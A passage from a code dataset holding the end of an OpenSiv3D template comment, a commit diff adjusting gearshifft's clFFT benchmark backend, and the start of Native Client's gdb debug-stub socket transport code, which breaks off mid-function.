User\/アプリケーション に移動させることで通常は表示されなくなります。\n\/\/ 特別なファイルシステム関数の使用や、Web カメラ、マイク使用時のダイアログは消せません。\n\/\/\n\/\/ = お役立ちリンク =\n\/\/\n\/\/ OpenSiv3D リファレンス\n\/\/ https:\/\/siv3d.github.io\/ja-jp\/\n\/\/\n\/\/ チュートリアル\n\/\/ https:\/\/siv3d.github.io\/ja-jp\/tutorial\/basic\/\n\/\/\n\/\/ よくある間違い\n\/\/ https:\/\/siv3d.github.io\/ja-jp\/articles\/mistakes\/\n\/\/\n\/\/ サポートについて\n\/\/ https:\/\/siv3d.github.io\/ja-jp\/support\/support\/\n\/\/\n\/\/ Siv3D Slack (ユーザコミュニティ) への参加\n\/\/ https:\/\/siv3d.github.io\/ja-jp\/community\/community\/\n\/\/\n\/\/ 新機能の提案やバグの報告\n\/\/ https:\/\/github.com\/Siv3D\/OpenSiv3D\/issues\n\/\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef CLFFT_HPP_\n#define CLFFT_HPP_\n\n#include \"helper.h\"\n#include \"fft_abstract.hpp\"\n#include \"fixture_test_suite.hpp\"\n#include \"clfft_helper.hpp\"\n#include <clFFT.h>\n\nnamespace gearshifft\n{\nnamespace ClFFT\n{\n namespace traits\n {\n template< typename T_Precision >\n struct Types;\n\n template<>\n struct Types<float>\n {\n using ComplexType = cl_float2;\n using RealType = cl_float;\n };\n\n template<>\n struct Types<double>\n {\n using ComplexType = cl_double2;\n using RealType = cl_double;\n };\n\n\n template< typename TPrecision=float >\n struct FFTPrecision: std::integral_constant< clfftPrecision, CLFFT_SINGLE >{};\n template<>\n struct FFTPrecision<double>: std::integral_constant< clfftPrecision, CLFFT_DOUBLE >{};\n\n template< bool IsComplex=true >\n struct FFTLayout {\n static constexpr clfftLayout value = CLFFT_COMPLEX_INTERLEAVED;\n static constexpr clfftLayout value_transformed = CLFFT_COMPLEX_INTERLEAVED;\n };\n template<>\n struct FFTLayout<false> {\n static constexpr clfftLayout value = CLFFT_REAL;\n static constexpr clfftLayout value_transformed = CLFFT_HERMITIAN_INTERLEAVED;\n };\n\n template< bool T_isInplace=true >\n struct FFTInplace: std::integral_constant< clfftResultLocation, CLFFT_INPLACE >{};\n template<>\n struct FFTInplace<false>: std::integral_constant< clfftResultLocation, CLFFT_OUTOFPLACE >{};\n } \/\/ traits\n\n struct Context {\n cl_platform_id platform = 0;\n cl_device_id device = 0;\n cl_context ctx = 0;\n void create() {\n std::cout<<\"Create OpenCL and clFFT context ...\"<<std::endl;\n cl_context_properties props[3] = { CL_CONTEXT_PLATFORM, 0, 0 };\n cl_int err = CL_SUCCESS;\n findClDevice(CL_DEVICE_TYPE_GPU, &platform, &device);\n props[1] = (cl_context_properties)platform;\n ctx = clCreateContext( props, 1, &device, nullptr, nullptr, &err );\n CHECK_CL(err);\n clfftSetupData fftSetup;\n CHECK_CL(clfftInitSetupData(&fftSetup));\n CHECK_CL(clfftSetup(&fftSetup));\n\n }\n void destroy() {\n if(ctx) {\n std::cout << \"Destroying clFFT and OpenCL Context ...\" << std::endl;\n CHECK_CL( clfftTeardown( ) );\n CHECK_CL(clReleaseContext( ctx ));\n ctx = 0;\n }\n }\n ~Context()\n {\n destroy();\n }\n } context;\n\n \/**\n * Plan Creator depending on FFT transform type.\n *\/\n template<clfftDim FFTDim, size_t Ndim>\n constexpr void makePlan(clfftPlanHandle& plan, const std::array<unsigned,Ndim>& e){\n size_t clLengths[3] = {e[0], Ndim==2?e[1]:1, Ndim==3?e[2]:1};\n CHECK_CL(clfftCreateDefaultPlan(&plan, context.ctx, FFTDim, clLengths));\n }\n\n \/**\n * ClFFT plan and execution class.\n *\n * This class handles:\n * - {1D, 2D, 3D} x {R2C, C2R, C2C} x {inplace, outplace} x {float, double}.\n *\/\n template<typename TFFT, \/\/ see fft_abstract.hpp (FFT_Inplace_Real, ...)\n typename TPrecision, \/\/ double, float\n size_t NDim \/\/ 1..3\n >\n struct ClFFTImpl\n {\n using ComplexType = typename traits::Types<TPrecision>::ComplexType;\n using RealType = typename traits::Types<TPrecision>::RealType;\n using Extent = std::array<unsigned,NDim>;\n static constexpr auto IsInplace = TFFT::IsInplace;\n static constexpr auto IsComplex = TFFT::IsComplex;\n static constexpr auto Padding = IsInplace && IsComplex==false;\n static constexpr clfftDim FFTDim = NDim==1 ? CLFFT_1D : NDim==2 ? CLFFT_2D : CLFFT_3D;\n using RealOrComplexType = typename std::conditional<IsComplex,ComplexType,RealType>::type;\n\n size_t n_;\n size_t n_padded_;\n Extent extents_;\n\n cl_command_queue queue_ = 0;\n clfftPlanHandle plan_ = 0;\n cl_mem data_ = 0;\n cl_mem data_transform_ = 0; \/\/ intermediate buffer\n size_t data_size_ = 0;\n size_t data_transform_size_ = 0;\n size_t w;\n size_t h;\n size_t pitch;\n size_t region[3];\n size_t offset[3] = {0, 0, 0};\n size_t strides[3] = {1};\n size_t transform_strides[3] = {1};\n size_t dist;\n size_t transform_dist;\n\n ClFFTImpl(const Extent& cextents)\n : extents_(cextents)\n {\n cl_int err;\n if(context.ctx==0)\n context.create();\n queue_ = clCreateCommandQueue( context.ctx, context.device, 0, &err );\n CHECK_CL(err);\n\n\n n_ = std::accumulate(extents_.begin(), extents_.end(), 1, std::multiplies<unsigned>());\n if(Padding){\n n_padded_ = n_ \/ extents_[0] * (extents_[0]\/2 + 1);\n w = extents_[0] * sizeof(RealType);\n h = n_ * sizeof(RealType) \/ w;\n pitch = (extents_[0]\/2+1) * sizeof(ComplexType);\n region[0] = w; \/\/ in bytes\n region[1] = h; \/\/ in counts (OpenCL1.1 is wrong here saying in bytes)\n region[2] = 1; \/\/ in counts (same)\n strides[1] = 2*(extents_[0]\/2+1);\n strides[2] = 2 * n_padded_ \/ extents_[NDim-1];\n transform_strides[1] = extents_[0]\/2+1;\n transform_strides[2] = n_padded_ \/ extents_[NDim-1];\n dist = 2 * n_padded_;\n transform_dist = n_padded_;\n }\n\n data_size_ = ( Padding ? 2*n_padded_*sizeof(RealType) : n_ * sizeof(RealOrComplexType) );\n data_transform_size_ = IsInplace ? 0 : n_ * sizeof(ComplexType);\n\n\n }\n\n \/**\n * Returns allocated memory on device for FFT\n *\/\n size_t getAllocSize() {\n return data_size_ + data_transform_size_;\n }\n \/**\n * Returns estimated allocated memory on device for FFT plan\n *\/\n size_t getPlanSize() {\n size_t size1 = 0;\n size_t size2 = 0;\n init_forward();\n CHECK_CL(clfftGetTmpBufSize( plan_, &size1 ));\n init_backward();\n CHECK_CL(clfftGetTmpBufSize( plan_, &size2 ));\n CHECK_CL(clfftDestroyPlan( &plan_ ));\n return std::max(size1,size2);\n }\n\n \/\/ --- next methods are benchmarked ---\n\n void malloc() {\n cl_int err;\n data_ = clCreateBuffer( context.ctx,\n CL_MEM_READ_WRITE,\n data_size_,\n nullptr, \/\/ host pointer @todo\n &err );\n \/\/std::cout << \" data \" << data_size_ << std::endl;\n if(IsInplace==false){\n data_transform_ = clCreateBuffer( context.ctx,\n CL_MEM_READ_WRITE,\n data_transform_size_,\n nullptr, \/\/ host pointer\n &err );\n \/\/std::cout << \" transform \" <<data_transform_size_ << std::endl;\n }\n }\n\n \/\/ create FFT plan handle\n void init_forward() {\n makePlan<FFTDim>(plan_, extents_);\n CHECK_CL(clfftSetPlanPrecision(plan_, traits::FFTPrecision<TPrecision>::value));\n CHECK_CL(clfftSetLayout(plan_,\n traits::FFTLayout<IsComplex>::value,\n traits::FFTLayout<IsComplex>::value_transformed));\n CHECK_CL(clfftSetResultLocation(plan_, traits::FFTInplace<IsInplace>::value));\n if(Padding){\n CHECK_CL(clfftSetPlanInStride(plan_, FFTDim, strides));\n CHECK_CL(clfftSetPlanOutStride(plan_, FFTDim, transform_strides));\n CHECK_CL(clfftSetPlanDistance(plan_, dist, transform_dist));\n }\n CHECK_CL(clfftBakePlan(plan_,\n 1, \/\/ number of queues\n &queue_,\n nullptr, \/\/ callback\n nullptr)); \/\/ user data\n }\n\n \/\/ recreates plan if needed\n void init_backward() {\n if(IsComplex==false){\n CHECK_CL(clfftSetLayout(plan_,\n traits::FFTLayout<IsComplex>::value_transformed,\n traits::FFTLayout<IsComplex>::value));\n if(Padding){\n CHECK_CL(clfftSetPlanOutStride(plan_, FFTDim, strides));\n CHECK_CL(clfftSetPlanInStride(plan_, FFTDim, transform_strides));\n CHECK_CL(clfftSetPlanDistance(plan_, transform_dist, dist));\n }\n\n CHECK_CL(clfftBakePlan(plan_,\n 1, \/\/ number of queues\n &queue_,\n 0, \/\/ callback\n 0)); \/\/ user data\n }\n }\n\n void execute_forward() {\n CHECK_CL(clfftEnqueueTransform(plan_,\n CLFFT_FORWARD,\n 1, \/\/ numQueuesAndEvents\n &queue_,\n 0, \/\/ numWaitEvents\n 0, \/\/ waitEvents\n 0, \/\/ outEvents\n &data_, \/\/ input\n IsInplace ? &data_ : &data_transform_, \/\/ output\n 0)); \/\/ tmpBuffer\n CHECK_CL(clFinish(queue_));\n }\n void execute_backward() {\n CHECK_CL(clfftEnqueueTransform(plan_,\n CLFFT_BACKWARD,\n 1, \/\/ numQueuesAndEvents\n &queue_,\n 0, \/\/ numWaitEvents\n nullptr, \/\/ waitEvents\n nullptr, \/\/ outEvents\n IsInplace ? &data_ : &data_transform_, \/\/ input\n IsInplace ? &data_ : &data_, \/\/ output\n nullptr)); \/\/ tmpBuffer\n CHECK_CL(clFinish(queue_));\n }\n template<typename THostData>\n void upload(THostData* input) {\n if(Padding && NDim>1)\n {\n \/\/printf(\"pitch=%zu w=%zu h=%zu\\n\", pitch, w, h);\n CHECK_CL(clEnqueueWriteBufferRect( queue_,\n data_,\n CL_TRUE, \/\/ blocking_write\n offset, \/\/ buffer origin\n offset, \/\/ host origin\n region,\n pitch, \/\/ buffer row pitch\n 0, \/\/ buffer slice pitch\n 0, \/\/ host row pitch\n 0, \/\/ host slice pitch\n input,\n 0, \/\/ num_events_in_wait_list\n nullptr, \/\/ event_wait_list\n nullptr )); \/\/ event\n }else{\n CHECK_CL(clEnqueueWriteBuffer( queue_,\n data_,\n CL_TRUE, \/\/ blocking_write\n 0, \/\/ offset\n Padding ? n_*sizeof(RealType) : data_size_,\n input,\n 0, \/\/ num_events_in_wait_list\n nullptr, \/\/ event_wait_list\n nullptr )); \/\/ event\n }\n }\n template<typename THostData>\n void download(THostData* output) {\n if(Padding && NDim>1)\n {\n CHECK_CL(clEnqueueReadBufferRect( queue_,\n data_,\n CL_TRUE, \/\/ blocking_write\n offset, \/\/ buffer origin\n offset, \/\/ host origin\n region,\n pitch, \/\/ buffer row pitch\n 0, \/\/ buffer slice pitch\n 0, \/\/ host row pitch\n 0, \/\/ host slice pitch\n output,\n 0, \/\/ num_events_in_wait_list\n nullptr, \/\/ event_wait_list\n nullptr )); \/\/ event\n }else{\n CHECK_CL(clEnqueueReadBuffer( queue_,\n data_,\n CL_TRUE, \/\/ blocking_write\n 0, \/\/ offset\n Padding ? n_*sizeof(RealType) : data_size_,\n output,\n 0, \/\/ num_events_in_wait_list\n nullptr, \/\/ event_wait_list\n nullptr )); \/\/ event\n }\n }\n\n void destroy() {\n CHECK_CL( clFinish(queue_) );\n CHECK_CL( clReleaseMemObject( data_ ) );\n if(IsInplace==false)\n CHECK_CL( clReleaseMemObject( data_transform_ ) );\n\n CHECK_CL(clfftDestroyPlan( &plan_ ));\n CHECK_CL( clReleaseCommandQueue( queue_ ) );\n data_ = 0;\n data_transform_ = 0;\n plan_ = 0;\n queue_ = 0;\n }\n };\n\n typedef gearshifft::FFT<gearshifft::FFT_Inplace_Real, ClFFTImpl, helper::TimerCPU> Inplace_Real;\n typedef gearshifft::FFT<gearshifft::FFT_Outplace_Real, ClFFTImpl, helper::TimerCPU> Outplace_Real;\n typedef gearshifft::FFT<gearshifft::FFT_Inplace_Complex, ClFFTImpl, helper::TimerCPU> Inplace_Complex;\n typedef gearshifft::FFT<gearshifft::FFT_Outplace_Complex, ClFFTImpl, helper::TimerCPU> Outplace_Complex;\n\n} \/\/ namespace ClFFT\n} \/\/ gearshifft\n\n\/\/ -- Execute Benchmarks --\nRUN_BENCHMARKS_NORMALIZED_FFT(ClFFT,\n gearshifft::ClFFT::Inplace_Real,\n gearshifft::ClFFT::Outplace_Real,\n gearshifft::ClFFT::Inplace_Complex,\n gearshifft::ClFFT::Outplace_Complex\n )\n\n\n#endif \/* CLFFT_HPP_ *\/\n<commit_msg>minor code change.<commit_after>#ifndef CLFFT_HPP_\n#define CLFFT_HPP_\n\n#include \"helper.h\"\n#include \"fft_abstract.hpp\"\n#include \"fixture_test_suite.hpp\"\n#include \"clfft_helper.hpp\"\n#include <clFFT.h>\n\nnamespace gearshifft\n{\nnamespace ClFFT\n{\n namespace traits\n {\n template< typename T_Precision >\n struct Types;\n\n template<>\n struct Types<float>\n {\n using ComplexType = cl_float2;\n using RealType = cl_float;\n };\n\n template<>\n struct Types<double>\n {\n using ComplexType = cl_double2;\n using RealType = cl_double;\n };\n\n\n template< typename TPrecision=float >\n struct FFTPrecision: std::integral_constant< clfftPrecision, CLFFT_SINGLE >{};\n template<>\n struct FFTPrecision<double>: std::integral_constant< clfftPrecision, CLFFT_DOUBLE >{};\n\n template< bool IsComplex=true >\n struct FFTLayout {\n static constexpr clfftLayout value = CLFFT_COMPLEX_INTERLEAVED;\n static constexpr clfftLayout value_transformed = CLFFT_COMPLEX_INTERLEAVED;\n };\n template<>\n struct FFTLayout<false> {\n static constexpr clfftLayout value = CLFFT_REAL;\n static constexpr clfftLayout value_transformed = CLFFT_HERMITIAN_INTERLEAVED;\n };\n\n template< bool T_isInplace=true >\n struct FFTInplace: std::integral_constant< clfftResultLocation, CLFFT_INPLACE >{};\n template<>\n struct FFTInplace<false>: std::integral_constant< clfftResultLocation, CLFFT_OUTOFPLACE >{};\n } \/\/ traits\n\n struct Context {\n cl_platform_id platform = 0;\n cl_device_id device = 0;\n cl_context ctx = 0;\n void create() {\n std::cout<<\"Create OpenCL and clFFT context ...\"<<std::endl;\n cl_context_properties props[3] = { CL_CONTEXT_PLATFORM, 0, 0 };\n cl_int err = CL_SUCCESS;\n findClDevice(CL_DEVICE_TYPE_GPU, &platform, &device);\n props[1] = (cl_context_properties)platform;\n ctx = clCreateContext( props, 1, &device, nullptr, nullptr, &err );\n CHECK_CL(err);\n clfftSetupData fftSetup;\n CHECK_CL(clfftInitSetupData(&fftSetup));\n CHECK_CL(clfftSetup(&fftSetup));\n\n }\n void destroy() {\n if(ctx) {\n std::cout << \"Destroying clFFT and OpenCL Context ...\" << std::endl;\n CHECK_CL( clfftTeardown( ) );\n CHECK_CL(clReleaseContext( ctx ));\n ctx = 0;\n }\n }\n ~Context()\n {\n destroy();\n }\n } context;\n\n \/**\n * Plan Creator depending on FFT transform type.\n *\/\n template<clfftDim FFTDim, size_t Ndim>\n constexpr void makePlan(clfftPlanHandle& plan, const std::array<unsigned,Ndim>& e){\n size_t clLengths[3] = {e[0], Ndim==2?e[1]:1, Ndim==3?e[2]:1};\n CHECK_CL(clfftCreateDefaultPlan(&plan, context.ctx, FFTDim, clLengths));\n }\n\n \/**\n * ClFFT plan and execution class.\n *\n * This class handles:\n * - {1D, 2D, 3D} x {R2C, C2R, C2C} x {inplace, outplace} x {float, double}.\n *\/\n template<typename TFFT, \/\/ see fft_abstract.hpp (FFT_Inplace_Real, ...)\n typename TPrecision, \/\/ double, float\n size_t NDim \/\/ 1..3\n >\n struct ClFFTImpl\n {\n using ComplexType = typename traits::Types<TPrecision>::ComplexType;\n using RealType = typename traits::Types<TPrecision>::RealType;\n using Extent = std::array<unsigned,NDim>;\n static constexpr auto IsInplace = TFFT::IsInplace;\n static constexpr auto IsComplex = TFFT::IsComplex;\n static constexpr auto Padding = IsInplace && IsComplex==false;\n static constexpr clfftDim FFTDim = NDim==1 ? CLFFT_1D : NDim==2 ? CLFFT_2D : CLFFT_3D;\n using RealOrComplexType = typename std::conditional<IsComplex,ComplexType,RealType>::type;\n\n size_t n_;\n size_t n_padded_;\n Extent extents_;\n\n cl_command_queue queue_ = 0;\n clfftPlanHandle plan_ = 0;\n cl_mem data_ = 0;\n cl_mem data_transform_ = 0; \/\/ intermediate buffer\n size_t data_size_ = 0;\n size_t data_transform_size_ = 0;\n size_t w;\n size_t h;\n size_t pitch;\n size_t region[3];\n size_t offset[3] = {0, 0, 0};\n size_t strides[3] = {1};\n size_t transform_strides[3] = {1};\n size_t dist;\n size_t transform_dist;\n\n ClFFTImpl(const Extent& cextents)\n : extents_(cextents)\n {\n cl_int err;\n if(context.ctx==0)\n context.create();\n queue_ = clCreateCommandQueue( context.ctx, context.device, 0, &err );\n CHECK_CL(err);\n\n n_ = std::accumulate(extents_.begin(), extents_.end(), 1, std::multiplies<unsigned>());\n if(Padding){\n n_padded_ = n_ \/ extents_[0] * (extents_[0]\/2 + 1);\n w = extents_[0] * sizeof(RealType);\n h = n_ \/ extents_[0];\n pitch = (extents_[0]\/2+1) * sizeof(ComplexType);\n region[0] = w; \/\/ in bytes\n region[1] = h; \/\/ in counts (OpenCL1.1 is wrong here saying in bytes)\n region[2] = 1; \/\/ in counts (same)\n strides[1] = 2*(extents_[0]\/2+1);\n strides[2] = 2 * n_padded_ \/ extents_[NDim-1];\n transform_strides[1] = extents_[0]\/2+1;\n transform_strides[2] = n_padded_ \/ extents_[NDim-1];\n dist = 2 * n_padded_;\n transform_dist = n_padded_;\n }\n\n data_size_ = ( Padding ? 2*n_padded_*sizeof(RealType) : n_ * sizeof(RealOrComplexType) );\n data_transform_size_ = IsInplace ? 0 : n_ * sizeof(ComplexType);\n }\n\n \/**\n * Returns allocated memory on device for FFT\n *\/\n size_t getAllocSize() {\n return data_size_ + data_transform_size_;\n }\n \/**\n * Returns estimated allocated memory on device for FFT plan\n *\/\n size_t getPlanSize() {\n size_t size1 = 0;\n size_t size2 = 0;\n init_forward();\n CHECK_CL(clfftGetTmpBufSize( plan_, &size1 ));\n init_backward();\n CHECK_CL(clfftGetTmpBufSize( plan_, &size2 ));\n CHECK_CL(clfftDestroyPlan( &plan_ ));\n return std::max(size1,size2);\n }\n\n \/\/ --- next methods are benchmarked ---\n\n void malloc() {\n cl_int err;\n data_ = clCreateBuffer( context.ctx,\n CL_MEM_READ_WRITE,\n data_size_,\n nullptr, \/\/ host pointer @todo\n &err );\n \/\/std::cout << \" data \" << data_size_ << std::endl;\n if(IsInplace==false){\n data_transform_ = clCreateBuffer( context.ctx,\n CL_MEM_READ_WRITE,\n data_transform_size_,\n nullptr, \/\/ host pointer\n &err );\n \/\/std::cout << \" transform \" <<data_transform_size_ << std::endl;\n }\n }\n\n \/\/ create FFT plan handle\n void init_forward() {\n makePlan<FFTDim>(plan_, extents_);\n CHECK_CL(clfftSetPlanPrecision(plan_, traits::FFTPrecision<TPrecision>::value));\n CHECK_CL(clfftSetLayout(plan_,\n traits::FFTLayout<IsComplex>::value,\n traits::FFTLayout<IsComplex>::value_transformed));\n CHECK_CL(clfftSetResultLocation(plan_, traits::FFTInplace<IsInplace>::value));\n if(Padding){\n CHECK_CL(clfftSetPlanInStride(plan_, FFTDim, strides));\n CHECK_CL(clfftSetPlanOutStride(plan_, FFTDim, transform_strides));\n CHECK_CL(clfftSetPlanDistance(plan_, dist, transform_dist));\n }\n CHECK_CL(clfftBakePlan(plan_,\n 1, \/\/ number of queues\n &queue_,\n nullptr, \/\/ callback\n nullptr)); \/\/ user data\n }\n\n \/\/ recreates plan if needed\n void init_backward() {\n if(IsComplex==false){\n CHECK_CL(clfftSetLayout(plan_,\n traits::FFTLayout<IsComplex>::value_transformed,\n traits::FFTLayout<IsComplex>::value));\n if(Padding){\n CHECK_CL(clfftSetPlanOutStride(plan_, FFTDim, strides));\n CHECK_CL(clfftSetPlanInStride(plan_, FFTDim, transform_strides));\n CHECK_CL(clfftSetPlanDistance(plan_, transform_dist, dist));\n }\n\n CHECK_CL(clfftBakePlan(plan_,\n 1, \/\/ number of queues\n &queue_,\n 0, \/\/ callback\n 0)); \/\/ user data\n }\n }\n\n void execute_forward() {\n CHECK_CL(clfftEnqueueTransform(plan_,\n CLFFT_FORWARD,\n 1, \/\/ numQueuesAndEvents\n &queue_,\n 0, \/\/ numWaitEvents\n 0, \/\/ waitEvents\n 0, \/\/ outEvents\n &data_, \/\/ input\n IsInplace ? &data_ : &data_transform_, \/\/ output\n 0)); \/\/ tmpBuffer\n CHECK_CL(clFinish(queue_));\n }\n void execute_backward() {\n CHECK_CL(clfftEnqueueTransform(plan_,\n CLFFT_BACKWARD,\n 1, \/\/ numQueuesAndEvents\n &queue_,\n 0, \/\/ numWaitEvents\n nullptr, \/\/ waitEvents\n nullptr, \/\/ outEvents\n IsInplace ? &data_ : &data_transform_, \/\/ input\n IsInplace ? &data_ : &data_, \/\/ output\n nullptr)); \/\/ tmpBuffer\n CHECK_CL(clFinish(queue_));\n }\n template<typename THostData>\n void upload(THostData* input) {\n if(Padding && NDim>1)\n {\n \/\/printf(\"pitch=%zu w=%zu h=%zu\\n\", pitch, w, h);\n CHECK_CL(clEnqueueWriteBufferRect( queue_,\n data_,\n CL_TRUE, \/\/ blocking_write\n offset, \/\/ buffer origin\n offset, \/\/ host origin\n region,\n pitch, \/\/ buffer row pitch\n 0, \/\/ buffer slice pitch\n 0, \/\/ host row pitch\n 0, \/\/ host slice pitch\n input,\n 0, \/\/ num_events_in_wait_list\n nullptr, \/\/ event_wait_list\n nullptr )); \/\/ event\n }else{\n CHECK_CL(clEnqueueWriteBuffer( queue_,\n data_,\n CL_TRUE, \/\/ blocking_write\n 0, \/\/ offset\n Padding ? n_*sizeof(RealType) : data_size_,\n input,\n 0, \/\/ num_events_in_wait_list\n nullptr, \/\/ event_wait_list\n nullptr )); \/\/ event\n }\n }\n template<typename THostData>\n void download(THostData* output) {\n if(Padding && NDim>1)\n {\n CHECK_CL(clEnqueueReadBufferRect( queue_,\n data_,\n CL_TRUE, \/\/ blocking_write\n offset, \/\/ buffer origin\n offset, \/\/ host origin\n region,\n pitch, \/\/ buffer row pitch\n 0, \/\/ buffer slice pitch\n 0, \/\/ host row pitch\n 0, \/\/ host slice pitch\n output,\n 0, \/\/ num_events_in_wait_list\n nullptr, \/\/ event_wait_list\n nullptr )); \/\/ event\n }else{\n CHECK_CL(clEnqueueReadBuffer( queue_,\n data_,\n CL_TRUE, \/\/ blocking_write\n 0, \/\/ offset\n Padding ? n_*sizeof(RealType) : data_size_,\n output,\n 0, \/\/ num_events_in_wait_list\n nullptr, \/\/ event_wait_list\n nullptr )); \/\/ event\n }\n }\n\n void destroy() {\n CHECK_CL( clFinish(queue_) );\n CHECK_CL( clReleaseMemObject( data_ ) );\n if(IsInplace==false)\n CHECK_CL( clReleaseMemObject( data_transform_ ) );\n\n CHECK_CL(clfftDestroyPlan( &plan_ ));\n CHECK_CL( clReleaseCommandQueue( queue_ ) );\n data_ = 0;\n data_transform_ = 0;\n plan_ = 0;\n queue_ = 0;\n }\n };\n\n typedef gearshifft::FFT<gearshifft::FFT_Inplace_Real, ClFFTImpl, helper::TimerCPU> Inplace_Real;\n typedef gearshifft::FFT<gearshifft::FFT_Outplace_Real, ClFFTImpl, helper::TimerCPU> Outplace_Real;\n typedef gearshifft::FFT<gearshifft::FFT_Inplace_Complex, ClFFTImpl, helper::TimerCPU> Inplace_Complex;\n typedef gearshifft::FFT<gearshifft::FFT_Outplace_Complex, ClFFTImpl, helper::TimerCPU> Outplace_Complex;\n\n} \/\/ namespace ClFFT\n} \/\/ gearshifft\n\n\/\/ -- Execute Benchmarks --\nRUN_BENCHMARKS_NORMALIZED_FFT(ClFFT,\n gearshifft::ClFFT::Inplace_Real,\n gearshifft::ClFFT::Outplace_Real,\n gearshifft::ClFFT::Inplace_Complex,\n gearshifft::ClFFT::Outplace_Complex\n )\n\n\n#endif \/* CLFFT_HPP_ *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <errno.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include <algorithm>\n#include <string>\n\n#include \"native_client\/src\/include\/nacl_scoped_ptr.h\"\n#include \"native_client\/src\/include\/portability_sockets.h\"\n#include \"native_client\/src\/shared\/platform\/nacl_log.h\"\n#include \"native_client\/src\/trusted\/debug_stub\/platform.h\"\n#include \"native_client\/src\/trusted\/debug_stub\/transport.h\"\n#include \"native_client\/src\/trusted\/debug_stub\/util.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/sel_ldr.h\"\n\nusing gdb_rsp::stringvec;\nusing gdb_rsp::StringSplit;\n\nnamespace port {\n\ntypedef int socklen_t;\n\nclass Transport : public ITransport {\n public:\n Transport()\n : buf_(new char[kBufSize]),\n pos_(0),\n size_(0) {\n handle_ = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n#if NACL_WINDOWS\n CreateSocketEvent();\n#endif\n }\n\n explicit Transport(NaClSocketHandle s)\n : buf_(new char[kBufSize]),\n pos_(0),\n size_(0),\n handle_(s) {\n#if NACL_WINDOWS\n CreateSocketEvent();\n#endif\n }\n\n ~Transport() {\n if (handle_ != NACL_INVALID_SOCKET) NaClCloseSocket(handle_);\n#if NACL_WINDOWS\n if (!WSACloseEvent(socket_event_)) {\n NaClLog(LOG_FATAL,\n \"Transport::~Transport: Failed to close socket event\\n\");\n }\n#endif\n }\n\n#if NACL_WINDOWS\n void CreateSocketEvent() {\n socket_event_ = WSACreateEvent();\n if (socket_event_ == WSA_INVALID_EVENT) {\n NaClLog(LOG_FATAL,\n \"Transport::CreateSocketEvent: Failed to create socket event\\n\");\n }\n if (WSAEventSelect(handle_, socket_event_, FD_READ) == SOCKET_ERROR) {\n NaClLog(LOG_FATAL,\n \"Transport::CreateSocketEvent: Failed to bind event to socket\\n\");\n }\n }\n#endif\n\n \/\/ Read from this transport, return true on success.\n virtual bool Read(void *ptr, int32_t len);\n\n \/\/ Write to this transport, return true on success.\n virtual bool Write(const void *ptr, int32_t len);\n\n \/\/ Return true if there is data to read.\n virtual bool IsDataAvailable() {\n if (pos_ < size_) {\n return true;\n }\n fd_set fds;\n\n FD_ZERO(&fds);\n FD_SET(handle_, &fds);\n\n \/\/ We want a \"non-blocking\" check\n struct timeval timeout;\n timeout.tv_sec = 0;\n timeout.tv_usec = 0;\n\n \/\/ Check if this file handle can select on read\n int cnt = select(static_cast<int>(handle_) + 1, &fds, 0, 0, &timeout);\n\n \/\/ If we are ready, or if there is an error. We return true\n \/\/ on error, to let the next IO request fail.\n if (cnt != 0) return true;\n\n return false;\n }\n\n virtual void WaitForDebugStubEvent(struct NaClApp *nap,\n bool ignore_input_from_gdb);\n\n\/\/ On windows, the header that defines this has other definition\n\/\/ colitions, so we define it outselves just in case\n#ifndef SD_BOTH\n#define SD_BOTH 2\n#endif\n\n virtual void Disconnect() {\n \/\/ Shutdown the conneciton in both diections. This should\n \/\/ always succeed, and nothing we can do if this fails.\n (void) ::shutdown(handle_, SD_BOTH);\n }\n\n protected:\n \/\/ Copy buffered data to *dst up to len bytes and update dst and len.\n void CopyFromBuffer(char **dst, int32_t *len);\n\n \/\/ Read available data from the socket. Return false on EOF or error.\n bool ReadSomeData();\n\n static const int kBufSize = 4096;\n nacl::scoped_array<char> buf_;\n int32_t pos_;\n int32_t size_;\n NaClSocketHandle handle_;\n#if NACL_WINDOWS\n HANDLE socket_event_;\n#endif\n};\n\nvoid Transport::CopyFromBuffer(char **dst, int32_t *len) {\n int32_t copy_bytes = std::min(*len, size_ - pos_);\n memcpy(*dst, buf_.get() + pos_, copy_bytes);\n pos_ += copy_bytes;\n *len -= copy_bytes;\n *dst += copy_bytes;\n}\n\nbool Transport::ReadSomeData() {\n while (true) {\n int result = ::recv(handle_, buf_.get() + size_, kBufSize - size_, 0);\n if (result > 0) {\n size_ += result;\n return true;\n }\n if (result == 0)\n return false;\n#if NACL_WINDOWS\n \/\/ WSAEventSelect sets socket to non-blocking mode. This is essential\n \/\/ for socket event notification to work, there is no workaround.\n \/\/ See remarks section at the page\n \/\/ http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms741576(v=vs.85).aspx\n if (NaClSocketGetLastError() == WSAEWOULDBLOCK) {\n if (WaitForSingleObject(socket_event_, INFINITE) == WAIT_FAILED) {\n NaClLog(LOG_FATAL,\n \"Transport::ReadSomeData: Failed to wait on socket event\\n\");\n }\n if (!ResetEvent(socket_event_)) {\n NaClLog(LOG_FATAL,\n \"Transport::ReadSomeData: Failed to reset socket event\\n\");\n }\n continue;\n }\n#endif\n if (NaClSocketGetLastError() != EINTR)\n return false;\n }\n}\n\nbool Transport::Read(void *ptr, int32_t len) {\n char *dst = static_cast<char *>(ptr);\n if (pos_ < size_) {\n CopyFromBuffer(&dst, &len);\n }\n while (len > 0) {\n pos_ = 0;\n size_ = 0;\n if (!ReadSomeData()) {\n return false;\n }\n CopyFromBuffer(&dst, &len);\n }\n return true;\n}\n\nbool Transport::Write(const void *ptr, int32_t len) {\n const char *src = static_cast<const char *>(ptr);\n while (len > 0) {\n int result = ::send(handle_, src, len, 0);\n if (result > 0) {\n src += result;\n len -= result;\n continue;\n }\n if (result == 0) {\n return false;\n }\n if (NaClSocketGetLastError() != EINTR) {\n return false;\n }\n }\n return true;\n}\n\nvoid Transport::WaitForDebugStubEvent(struct NaClApp *nap,\n bool ignore_input_from_gdb) {\n bool wait = true;\n \/\/ If we are told to ignore messages from gdb, we will exit from this\n \/\/ function only if new data is sent by gdb.\n if ((pos_ < size_ && !ignore_input_from_gdb) ||\n nap->faulted_thread_count > 0) {\n \/\/ Clear faulted thread events to save debug stub loop iterations.\n wait = false;\n }\n#if 